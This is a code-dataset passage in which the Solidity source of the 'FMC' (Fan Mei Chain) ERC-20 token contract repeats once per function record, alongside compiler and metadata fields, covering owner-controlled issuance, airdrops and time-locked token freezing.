_info.defrozenDates, _values); } // 设置token官网和icon信息 function setWebInfo(string _website, string _icon) public onlyOwner returns(bool){ website = _website; icon = _icon; return true; } //返回当前区块链时间: 年月日时 function getNow() public view returns(uint256){ return now; } // @dev An internal pure function to calculate date in XX:00:00 function _calcDate0(uint256 _timestamp) internal pure returns(uint256){ return _timestamp.sub(_timestamp % (60*24)); } // 获取当前日期零点时间戳 function _getNow0() internal view returns(uint256){ return _calcDate0(now); } }
issue
function issue(address[] payees, uint256[] values, uint16[] deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && payees.length == values.length); uint256 _now0 = _getNow0(); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= values[i], "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0) || values[i] == uint256(0)) { continue; } balances[owner] = balances[owner].sub(values[i]); balances[payees[i]] = balances[payees[i]].add(values[i]); emit Transfer(owner, payees[i], values[i]); uint256 _date0 = _now0.add(deferDays[i]*24*3600); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(values[i]); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(values[i]); balances[payees[i]] = balances[payees[i]].sub(values[i]); balances[frozenAddress] = balances[frozenAddress].add(values[i]); emit Transfer(payees[i], frozenAddress, values[i]); emit Frozen(payees[i], values[i], _date0, _info.totalFrozenValue); } } return true; }
// issue in batch with forzen
LineComment
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 3143, 4846 ] }
7,042
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
FMC
contract FMC is StandardToken, Ownable { using SafeMath for uint256; string public constant name = "Fan Mei Chain (FMC)"; string public constant symbol = "FMC"; uint8 public constant decimals = 18; //总配额2亿 uint256 constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals)); //设置代币官网短URL(32字节以内),供管理平台自动查询 string public website = "www.fanmeichain.com"; //设置代币icon短URL(32字节以内),供管理平台自动查询 string public icon = "/icon/fmc.png"; //冻结账户 address public frozenAddress; //锁仓信息 mapping(address=>Info) internal fellowInfo; // fellow info struct Info{ uint256[] defrozenDates; //解冻日期 mapping(uint256=>uint256) frozenValues; //冻结金额 uint256 totalFrozenValue; //全部冻结资产总额 } // 事件定义 event Frozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); event Defrozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); // Constructor that gives msg.sender all of existing tokens. constructor(address _frozenAddress) public { require(_frozenAddress != address(0) && _frozenAddress != msg.sender); frozenAddress = _frozenAddress; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); //normal transfer balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_to == frozenAddress){ //defrozing Info storage _info = fellowInfo[msg.sender]; if(_info.totalFrozenValue > 0){ for(uint i=0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[msg.sender] = balances[msg.sender].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, msg.sender, _defrozenValue); emit Defrozen(msg.sender, _defrozenValue, _date0, _info.totalFrozenValue); } } } } return true; } // issue in batch with forzen function issue(address[] payees, uint256[] values, uint16[] deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && payees.length == values.length); uint256 _now0 = _getNow0(); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= values[i], "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0) || values[i] == uint256(0)) { continue; } balances[owner] = balances[owner].sub(values[i]); balances[payees[i]] = balances[payees[i]].add(values[i]); emit Transfer(owner, payees[i], values[i]); uint256 _date0 = _now0.add(deferDays[i]*24*3600); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(values[i]); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(values[i]); balances[payees[i]] = balances[payees[i]].sub(values[i]); balances[frozenAddress] = balances[frozenAddress].add(values[i]); emit Transfer(payees[i], frozenAddress, values[i]); emit Frozen(payees[i], values[i], _date0, _info.totalFrozenValue); } } return true; } // airdrop in with same value and deferDays function airdrop(address[] payees, uint256 value, uint16 deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && value > 0); uint256 _amount = value.mul(payees.length); require(balances[owner] > _amount); uint256 _now0 = _getNow0(); uint256 _date0 = _now0.add(deferDays*24*3600); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= value, "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0)) { _amount = _amount.sub(value); continue; } //circulating balances[payees[i]] = balances[payees[i]].add(value); emit Transfer(owner, payees[i], value); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(value); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(value); balances[payees[i]] = balances[payees[i]].sub(value); balances[frozenAddress] = balances[frozenAddress].add(value); emit Transfer(payees[i], frozenAddress, value); emit Frozen(payees[i], value, _date0, _info.totalFrozenValue); } } balances[owner] = balances[owner].sub(_amount); return true; } // update frozen address function updateFrozenAddress(address newFrozenAddress) public onlyOwner returns(bool){ //要求: //1. 新地址不能为空 //2. 新地址不能为owner //3. 新地址不能与旧地址相同 require(newFrozenAddress != address(0) && newFrozenAddress != owner && newFrozenAddress != frozenAddress); //要求:新地址账本为零 require(balances[newFrozenAddress] == 0); //转移冻结账本 balances[newFrozenAddress] = balances[frozenAddress]; balances[frozenAddress] = 0; emit Transfer(frozenAddress, newFrozenAddress, balances[newFrozenAddress]); frozenAddress = newFrozenAddress; return true; } //平台解冻指定资产 function defrozen(address fellow) public onlyOwner returns(bool){ require(fellow != address(0)); Info storage _info = fellowInfo[fellow]; require(_info.totalFrozenValue > 0); for(uint i = 0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[fellow] = balances[fellow].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, fellow, _defrozenValue); emit Defrozen(fellow, _defrozenValue, _date0, _info.totalFrozenValue); } } return true; } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getOwnAssets() public view returns(uint256, uint256, uint256[], uint256[]){ return getAssets(msg.sender); } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getAssets(address fellow) public view returns(uint256, uint256, uint256[], uint256[]){ uint256 _value = balances[fellow]; Info storage _info = fellowInfo[fellow]; uint256 _totalFrozenValue = _info.totalFrozenValue; uint256 _size = _info.defrozenDates.length; uint256[] memory _values = new uint256[](_size); for(uint i = 0; i < _size; i++){ _values[i] = _info.frozenValues[_info.defrozenDates[i]]; } return (_value, _totalFrozenValue, _info.defrozenDates, _values); } // 设置token官网和icon信息 function setWebInfo(string _website, string _icon) public onlyOwner returns(bool){ website = _website; icon = _icon; return true; } //返回当前区块链时间: 年月日时 function getNow() public view returns(uint256){ return now; } // @dev An internal pure function to calculate date in XX:00:00 function _calcDate0(uint256 _timestamp) internal pure returns(uint256){ return _timestamp.sub(_timestamp % (60*24)); } // 获取当前日期零点时间戳 function _getNow0() internal view returns(uint256){ return _calcDate0(now); } }
airdrop
function airdrop(address[] payees, uint256 value, uint16 deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && value > 0); uint256 _amount = value.mul(payees.length); require(balances[owner] > _amount); uint256 _now0 = _getNow0(); uint256 _date0 = _now0.add(deferDays*24*3600); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= value, "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0)) { _amount = _amount.sub(value); continue; } //circulating balances[payees[i]] = balances[payees[i]].add(value); emit Transfer(owner, payees[i], value); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(value); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(value); balances[payees[i]] = balances[payees[i]].sub(value); balances[frozenAddress] = balances[frozenAddress].add(value); emit Transfer(payees[i], frozenAddress, value); emit Frozen(payees[i], value, _date0, _info.totalFrozenValue); } } balances[owner] = balances[owner].sub(_amount); return true; }
// airdrop in with same value and deferDays
LineComment
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 4896, 6669 ] }
7,043
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
FMC
contract FMC is StandardToken, Ownable { using SafeMath for uint256; string public constant name = "Fan Mei Chain (FMC)"; string public constant symbol = "FMC"; uint8 public constant decimals = 18; //总配额2亿 uint256 constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals)); //设置代币官网短URL(32字节以内),供管理平台自动查询 string public website = "www.fanmeichain.com"; //设置代币icon短URL(32字节以内),供管理平台自动查询 string public icon = "/icon/fmc.png"; //冻结账户 address public frozenAddress; //锁仓信息 mapping(address=>Info) internal fellowInfo; // fellow info struct Info{ uint256[] defrozenDates; //解冻日期 mapping(uint256=>uint256) frozenValues; //冻结金额 uint256 totalFrozenValue; //全部冻结资产总额 } // 事件定义 event Frozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); event Defrozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); // Constructor that gives msg.sender all of existing tokens. constructor(address _frozenAddress) public { require(_frozenAddress != address(0) && _frozenAddress != msg.sender); frozenAddress = _frozenAddress; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); //normal transfer balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_to == frozenAddress){ //defrozing Info storage _info = fellowInfo[msg.sender]; if(_info.totalFrozenValue > 0){ for(uint i=0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[msg.sender] = balances[msg.sender].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, msg.sender, _defrozenValue); emit Defrozen(msg.sender, _defrozenValue, _date0, _info.totalFrozenValue); } } } } return true; } // issue in batch with forzen function issue(address[] payees, uint256[] values, uint16[] deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && payees.length == values.length); uint256 _now0 = _getNow0(); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= values[i], "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0) || values[i] == uint256(0)) { continue; } balances[owner] = balances[owner].sub(values[i]); balances[payees[i]] = balances[payees[i]].add(values[i]); emit Transfer(owner, payees[i], values[i]); uint256 _date0 = _now0.add(deferDays[i]*24*3600); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(values[i]); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(values[i]); balances[payees[i]] = balances[payees[i]].sub(values[i]); balances[frozenAddress] = balances[frozenAddress].add(values[i]); emit Transfer(payees[i], frozenAddress, values[i]); emit Frozen(payees[i], values[i], _date0, _info.totalFrozenValue); } } return true; } // airdrop in with same value and deferDays function airdrop(address[] payees, uint256 value, uint16 deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && value > 0); uint256 _amount = value.mul(payees.length); require(balances[owner] > _amount); uint256 _now0 = _getNow0(); uint256 _date0 = _now0.add(deferDays*24*3600); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= value, "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0)) { _amount = _amount.sub(value); continue; } //circulating balances[payees[i]] = balances[payees[i]].add(value); emit Transfer(owner, payees[i], value); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(value); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(value); balances[payees[i]] = balances[payees[i]].sub(value); balances[frozenAddress] = balances[frozenAddress].add(value); emit Transfer(payees[i], frozenAddress, value); emit Frozen(payees[i], value, _date0, _info.totalFrozenValue); } } balances[owner] = balances[owner].sub(_amount); return true; } // update frozen address function updateFrozenAddress(address newFrozenAddress) public onlyOwner returns(bool){ //要求: //1. 新地址不能为空 //2. 新地址不能为owner //3. 新地址不能与旧地址相同 require(newFrozenAddress != address(0) && newFrozenAddress != owner && newFrozenAddress != frozenAddress); //要求:新地址账本为零 require(balances[newFrozenAddress] == 0); //转移冻结账本 balances[newFrozenAddress] = balances[frozenAddress]; balances[frozenAddress] = 0; emit Transfer(frozenAddress, newFrozenAddress, balances[newFrozenAddress]); frozenAddress = newFrozenAddress; return true; } //平台解冻指定资产 function defrozen(address fellow) public onlyOwner returns(bool){ require(fellow != address(0)); Info storage _info = fellowInfo[fellow]; require(_info.totalFrozenValue > 0); for(uint i = 0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[fellow] = balances[fellow].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, fellow, _defrozenValue); emit Defrozen(fellow, _defrozenValue, _date0, _info.totalFrozenValue); } } return true; } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getOwnAssets() public view returns(uint256, uint256, uint256[], uint256[]){ return getAssets(msg.sender); } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getAssets(address fellow) public view returns(uint256, uint256, uint256[], uint256[]){ uint256 _value = balances[fellow]; Info storage _info = fellowInfo[fellow]; uint256 _totalFrozenValue = _info.totalFrozenValue; uint256 _size = _info.defrozenDates.length; uint256[] memory _values = new uint256[](_size); for(uint i = 0; i < _size; i++){ _values[i] = _info.frozenValues[_info.defrozenDates[i]]; } return (_value, _totalFrozenValue, _info.defrozenDates, _values); } // 设置token官网和icon信息 function setWebInfo(string _website, string _icon) public onlyOwner returns(bool){ website = _website; icon = _icon; return true; } //返回当前区块链时间: 年月日时 function getNow() public view returns(uint256){ return now; } // @dev An internal pure function to calculate date in XX:00:00 function _calcDate0(uint256 _timestamp) internal pure returns(uint256){ return _timestamp.sub(_timestamp % (60*24)); } // 获取当前日期零点时间戳 function _getNow0() internal view returns(uint256){ return _calcDate0(now); } }
updateFrozenAddress
function updateFrozenAddress(address newFrozenAddress) public onlyOwner returns(bool){ //要求: //1. 新地址不能为空 //2. 新地址不能为owner //3. 新地址不能与旧地址相同 require(newFrozenAddress != address(0) && newFrozenAddress != owner && newFrozenAddress != frozenAddress); //要求:新地址账本为零 require(balances[newFrozenAddress] == 0); //转移冻结账本 balances[newFrozenAddress] = balances[frozenAddress]; balances[frozenAddress] = 0; emit Transfer(frozenAddress, newFrozenAddress, balances[newFrozenAddress]); frozenAddress = newFrozenAddress; return true; }
// update frozen address
LineComment
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 6700, 7345 ] }
7,044
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
FMC
contract FMC is StandardToken, Ownable { using SafeMath for uint256; string public constant name = "Fan Mei Chain (FMC)"; string public constant symbol = "FMC"; uint8 public constant decimals = 18; //总配额2亿 uint256 constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals)); //设置代币官网短URL(32字节以内),供管理平台自动查询 string public website = "www.fanmeichain.com"; //设置代币icon短URL(32字节以内),供管理平台自动查询 string public icon = "/icon/fmc.png"; //冻结账户 address public frozenAddress; //锁仓信息 mapping(address=>Info) internal fellowInfo; // fellow info struct Info{ uint256[] defrozenDates; //解冻日期 mapping(uint256=>uint256) frozenValues; //冻结金额 uint256 totalFrozenValue; //全部冻结资产总额 } // 事件定义 event Frozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); event Defrozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); // Constructor that gives msg.sender all of existing tokens. constructor(address _frozenAddress) public { require(_frozenAddress != address(0) && _frozenAddress != msg.sender); frozenAddress = _frozenAddress; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); //normal transfer balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_to == frozenAddress){ //defrozing Info storage _info = fellowInfo[msg.sender]; if(_info.totalFrozenValue > 0){ for(uint i=0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[msg.sender] = balances[msg.sender].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, msg.sender, _defrozenValue); emit Defrozen(msg.sender, _defrozenValue, _date0, _info.totalFrozenValue); } } } } return true; } // issue in batch with forzen function issue(address[] payees, uint256[] values, uint16[] deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && payees.length == values.length); uint256 _now0 = _getNow0(); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= values[i], "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0) || values[i] == uint256(0)) { continue; } balances[owner] = balances[owner].sub(values[i]); balances[payees[i]] = balances[payees[i]].add(values[i]); emit Transfer(owner, payees[i], values[i]); uint256 _date0 = _now0.add(deferDays[i]*24*3600); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(values[i]); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(values[i]); balances[payees[i]] = balances[payees[i]].sub(values[i]); balances[frozenAddress] = balances[frozenAddress].add(values[i]); emit Transfer(payees[i], frozenAddress, values[i]); emit Frozen(payees[i], values[i], _date0, _info.totalFrozenValue); } } return true; } // airdrop in with same value and deferDays function airdrop(address[] payees, uint256 value, uint16 deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && value > 0); uint256 _amount = value.mul(payees.length); require(balances[owner] > _amount); uint256 _now0 = _getNow0(); uint256 _date0 = _now0.add(deferDays*24*3600); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= value, "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0)) { _amount = _amount.sub(value); continue; } //circulating balances[payees[i]] = balances[payees[i]].add(value); emit Transfer(owner, payees[i], value); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(value); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(value); balances[payees[i]] = balances[payees[i]].sub(value); balances[frozenAddress] = balances[frozenAddress].add(value); emit Transfer(payees[i], frozenAddress, value); emit Frozen(payees[i], value, _date0, _info.totalFrozenValue); } } balances[owner] = balances[owner].sub(_amount); return true; } // update frozen address function updateFrozenAddress(address newFrozenAddress) public onlyOwner returns(bool){ //要求: //1. 新地址不能为空 //2. 新地址不能为owner //3. 新地址不能与旧地址相同 require(newFrozenAddress != address(0) && newFrozenAddress != owner && newFrozenAddress != frozenAddress); //要求:新地址账本为零 require(balances[newFrozenAddress] == 0); //转移冻结账本 balances[newFrozenAddress] = balances[frozenAddress]; balances[frozenAddress] = 0; emit Transfer(frozenAddress, newFrozenAddress, balances[newFrozenAddress]); frozenAddress = newFrozenAddress; return true; } //平台解冻指定资产 function defrozen(address fellow) public onlyOwner returns(bool){ require(fellow != address(0)); Info storage _info = fellowInfo[fellow]; require(_info.totalFrozenValue > 0); for(uint i = 0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[fellow] = balances[fellow].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, fellow, _defrozenValue); emit Defrozen(fellow, _defrozenValue, _date0, _info.totalFrozenValue); } } return true; } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getOwnAssets() public view returns(uint256, uint256, uint256[], uint256[]){ return getAssets(msg.sender); } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getAssets(address fellow) public view returns(uint256, uint256, uint256[], uint256[]){ uint256 _value = balances[fellow]; Info storage _info = fellowInfo[fellow]; uint256 _totalFrozenValue = _info.totalFrozenValue; uint256 _size = _info.defrozenDates.length; uint256[] memory _values = new uint256[](_size); for(uint i = 0; i < _size; i++){ _values[i] = _info.frozenValues[_info.defrozenDates[i]]; } return (_value, _totalFrozenValue, _info.defrozenDates, _values); } // 设置token官网和icon信息 function setWebInfo(string _website, string _icon) public onlyOwner returns(bool){ website = _website; icon = _icon; return true; } //返回当前区块链时间: 年月日时 function getNow() public view returns(uint256){ return now; } // @dev An internal pure function to calculate date in XX:00:00 function _calcDate0(uint256 _timestamp) internal pure returns(uint256){ return _timestamp.sub(_timestamp % (60*24)); } // 获取当前日期零点时间戳 function _getNow0() internal view returns(uint256){ return _calcDate0(now); } }
defrozen
function defrozen(address fellow) public onlyOwner returns(bool){ require(fellow != address(0)); Info storage _info = fellowInfo[fellow]; require(_info.totalFrozenValue > 0); for(uint i = 0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[fellow] = balances[fellow].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, fellow, _defrozenValue); emit Defrozen(fellow, _defrozenValue, _date0, _info.totalFrozenValue); } } return true; }
//平台解冻指定资产
LineComment
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 7362, 8431 ] }
7,045
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
FMC
contract FMC is StandardToken, Ownable { using SafeMath for uint256; string public constant name = "Fan Mei Chain (FMC)"; string public constant symbol = "FMC"; uint8 public constant decimals = 18; //总配额2亿 uint256 constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals)); //设置代币官网短URL(32字节以内),供管理平台自动查询 string public website = "www.fanmeichain.com"; //设置代币icon短URL(32字节以内),供管理平台自动查询 string public icon = "/icon/fmc.png"; //冻结账户 address public frozenAddress; //锁仓信息 mapping(address=>Info) internal fellowInfo; // fellow info struct Info{ uint256[] defrozenDates; //解冻日期 mapping(uint256=>uint256) frozenValues; //冻结金额 uint256 totalFrozenValue; //全部冻结资产总额 } // 事件定义 event Frozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); event Defrozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); // Constructor that gives msg.sender all of existing tokens. constructor(address _frozenAddress) public { require(_frozenAddress != address(0) && _frozenAddress != msg.sender); frozenAddress = _frozenAddress; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); //normal transfer balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_to == frozenAddress){ //defrozing Info storage _info = fellowInfo[msg.sender]; if(_info.totalFrozenValue > 0){ for(uint i=0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[msg.sender] = balances[msg.sender].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, msg.sender, _defrozenValue); emit Defrozen(msg.sender, _defrozenValue, _date0, _info.totalFrozenValue); } } } } return true; } // issue in batch with forzen function issue(address[] payees, uint256[] values, uint16[] deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && payees.length == values.length); uint256 _now0 = _getNow0(); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= values[i], "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0) || values[i] == uint256(0)) { continue; } balances[owner] = balances[owner].sub(values[i]); balances[payees[i]] = balances[payees[i]].add(values[i]); emit Transfer(owner, payees[i], values[i]); uint256 _date0 = _now0.add(deferDays[i]*24*3600); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(values[i]); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(values[i]); balances[payees[i]] = balances[payees[i]].sub(values[i]); balances[frozenAddress] = balances[frozenAddress].add(values[i]); emit Transfer(payees[i], frozenAddress, values[i]); emit Frozen(payees[i], values[i], _date0, _info.totalFrozenValue); } } return true; } // airdrop in with same value and deferDays function airdrop(address[] payees, uint256 value, uint16 deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && value > 0); uint256 _amount = value.mul(payees.length); require(balances[owner] > _amount); uint256 _now0 = _getNow0(); uint256 _date0 = _now0.add(deferDays*24*3600); for (uint i = 0; 